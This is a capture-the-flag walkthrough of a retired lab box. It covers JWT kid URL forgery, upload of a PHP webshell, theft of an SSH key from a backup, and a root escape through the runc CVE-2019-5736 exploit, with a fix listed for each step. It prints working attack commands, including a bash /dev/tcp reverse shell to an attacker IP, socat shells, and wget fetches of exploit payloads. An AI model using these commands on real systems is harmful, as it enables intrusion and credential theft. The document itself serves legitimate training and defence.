TheNotebook
Summary
I registered a free account on a PHP note-keeping web app and discovered that its JWT authentication cookie used the RS256 algorithm with a kid header parameter that told the server where to fetch the signing key — a URL the server blindly retrieved. By generating a personal RSA keypair, hosting the private key on my own HTTP server, and forging a new token claiming administrator rights, I tricked the server into accepting a self-signed credential, granting access to the admin panel.
The unrestricted /admin/upload endpoint accepted a PHP webshell, delivering a reverse shell as the web user (www-data). A world-readable backup archive in /var/backups/ contained user noah's SSH private key in plaintext, enabling lateral movement and capture of the user flag.
Noah's sudo policy permitted running docker exec as root against a development container running Docker 18.06.0-ce, which is vulnerable to CVE-2019-5736 (runc binary overwrite). I staged the public exploit inside the container, overwrote the host runc binary with a malicious payload, then triggered a second docker exec to execute the payload as root on the host — achieving full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -Pn -sV -p 22,80 --script http-title $TARGETcurl -si http://$TARGET/ && curl -si http://$TARGET/adminkid URL key-fetch mechanismauth JWT cookie signed with RS256. Decoding the header revealed a kid parameter set to http://localhost:7070/privKey.key — the URL the server fetches to obtain the public key for signature verification. The payload contained [REDACTED: recovered credential] 0. I generated a fresh RSA-2048 keypair, hosted the private key on a local HTTP server, crafted a new JWT with [REDACTED: recovered credential] 1 and kid pointing to my server, signed it RS256 with my own private key, and set it as the auth cookie. The server fetched my key and accepted the forged token as a valid admin session.Exact commands 4
openssl genrsa -traditional -out private.key 2048 && openssl rsa -in private.key -pubout -out public.keypython3 -m http.server 8000python3 -c "
import jwt, json
privkey = open('private.key').read()
token = jwt.encode({'username':'$USERNAME','email':'$USERNAME@test.com','admin_cap':1}, privkey, algorithm='RS256', headers={'kid':'http://$ATTACKER_IP:8000/private.key'})
print(token)
"curl -si http://$TARGET/admin -H 'Cookie: auth=<forged-token>'FixDisable JWT kid URL key-fetch and enforce a fixed, server-side signing keyCritical
kid header parameter as an arbitrary URL and fetch the signing key from it at runtime. Anyone who could register a normal account could forge any token — including an admin token — simply by hosting their own RSA key and pointing kid at it.kid-as-URL lookup entirely. Store the server's RSA public key as a static file or environment variable loaded at startup, and hard-code the verification call to use only that key. If multiple keys are needed, implement kid as an opaque index into a server-managed keystore — never as a retrievable URL. Rotate the current signing key immediately and invalidate all existing sessions.Exact commands 4
echo '<?php passthru("bash -c \"bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\""); ?>' > shell.phpcurl -si -X POST http://$TARGET/admin/upload -H 'Cookie: auth=<forged-token>' -F 'file=@shell.php'nc -lvnp 4444curl -si http://$TARGET/uploads/<hex>.phpFixBlock server-side execution of uploaded filesCritical
location /uploads { ... deny all; } combined with no fastcgi_pass). Validate file magic bytes server-side (not only the extension).Exact commands 2
socat file:`tty`,raw,echo=0 tcp-listen:4445socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$ATTACKER_IP:4445Exact commands 4
ls -la /var/backups/home.tar.gzmkdir -p /tmp/nbhome && tar -xzf /var/backups/home.tar.gz -C /tmp/nbhomefind /tmp/nbhome -name 'id_rsa' 2>/dev/nullcat /tmp/nbhome/home/noah/.ssh/id_rsaFixRemove world-readable permissions from backup archives containing credentialsHigh
chmod 600 /var/backups/home.tar.gz). Audit /var/backups/ and any other backup directories for world-readable files. Store SSH private keys with a strong passphrase and rotate the noah keypair immediately. Exclude private keys from backup archives, or encrypt the archive before storage.Exact commands 1
chmod 600 noah_id_rsa && ssh -i noah_id_rsa -o StrictHostKeyChecking=no noah@$TARGET 'id; cat /home/noah/user.txt'sudo -l as noah showed the rule (root) NOPASSWD: /usr/bin/docker exec -it webapp-dev01*, permitting noah to exec into the running container as root. The host's Docker version (18.06.0-ce) was vulnerable to CVE-2019-5736: a malicious container process can overwrite the host's runc binary through /proc/self/exe at the moment a new exec is invoked, causing the host system to run my own code as root. The twistlock RunC-CVE-2019-5736 PoC was staged into the container via docker exec and wget. A msfvenom linux/x64 reverse-shell ELF replaced the PoC's new_runc placeholder; replace.sh was run inside the container to overwrite the host runc binary. A second sudo docker exec -it webapp-dev01 /bin/bash from noah's session triggered the overwritten runc on the host, catching a root reverse shell (uid=0) on the actual target IP.Exact commands 9
ssh -i noah_id_rsa noah@$TARGET 'sudo -l; docker -v'ssh -i noah_id_rsa noah@$TARGET 'sudo /usr/bin/docker exec -it webapp-dev01 id'git clone https://github.com/twistlock/RunC-CVE-2019-5736.git && cd RunC-CVE-2019-5736/exec_POCmsfvenom -p linux/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=5555 -f elf -o new_runcpython3 -m http.server 8001ssh -i noah_id_rsa noah@$TARGET "sudo /usr/bin/docker exec -it webapp-dev01 bash -c 'cd /tmp && wget http://$ATTACKER_IP:8001/RunC-CVE-2019-5736/exec_POC/replace.sh && wget http://$ATTACKER_IP:8001/RunC-CVE-2019-5736/exec_POC/new_runc && wget http://$ATTACKER_IP:8001/RunC-CVE-2019-5736/exec_POC/bash_evil && chmod +x replace.sh new_runc bash_evil && cp /bin/bash /bin/bash.bak && cp bash_evil /bin/bash && bash replace.sh'"nc -lvnp 5555ssh -i noah_id_rsa noah@$TARGET 'sudo /usr/bin/docker exec -it webapp-dev01 /bin/bash'id; hostname; cat /root/root.txtFixUpgrade Docker and eliminate the unrestricted `docker exec` sudo ruleCritical
/usr/bin/docker exec -it webapp-dev01* as root with no password. The installed Docker version (18.06.0-ce) is vulnerable to CVE-2019-5736, a container-escape that lets a process inside the container overwrite the host's runc binary at exec time, achieving arbitrary code execution as root on the host.docker exec sudo rule entirely — operator access to containers should go through a proper secrets-manager or privileged-access workstation, not an open sudo rule. If container access is required operationally, use Docker's rootless mode or user namespaces to prevent container processes from reaching host resources. Audit all other sudo rules for unrestricted access to container runtimes.Attack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.14.0 (Ubuntu) |